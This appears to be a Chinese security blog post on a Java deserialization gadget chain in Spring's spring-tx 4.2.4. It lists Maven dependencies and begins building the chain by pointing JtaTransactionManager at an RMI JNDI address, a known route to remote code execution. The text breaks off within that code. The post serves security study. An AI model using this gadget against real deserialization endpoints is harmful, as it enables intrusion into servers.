[Java安全]Java反序列化之spring-tx(Spring Framework 4.2.4)

最新推荐文章于 2023-11-26 19:15:36 发布

Y4tacker

最新推荐文章于 2023-11-26 19:15:36 发布

阅读量517

点赞数 1

分类专栏：安全学习 # Java代码审计文章标签： spring java

本文链接：https://blog.csdn.net/solitudi/article/details/120730520

版权

安全学习同时被 2 个专栏收录

210 篇文章 86 订阅

订阅专栏

Java代码审计

38 篇文章 17 订阅

订阅专栏

文章目录

环境
依赖
分析
- 利用链构造
- 利用链分析

环境

来自spring-jndi

依赖

<dependencies>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-tx</artifactId>
      <version>4.2.4.RELEASE</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-context</artifactId>
      <version>4.2.4.RELEASE</version>
    </dependency>
    <dependency>
      <groupId>javax.transaction</groupId>
      <artifactId>javax.transaction-api</artifactId>
      <version>1.2</version>
    </dependency>
  </dependencies>

分析

利用链构造

String jndiAddress = "rmi://127.0.0.1:1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);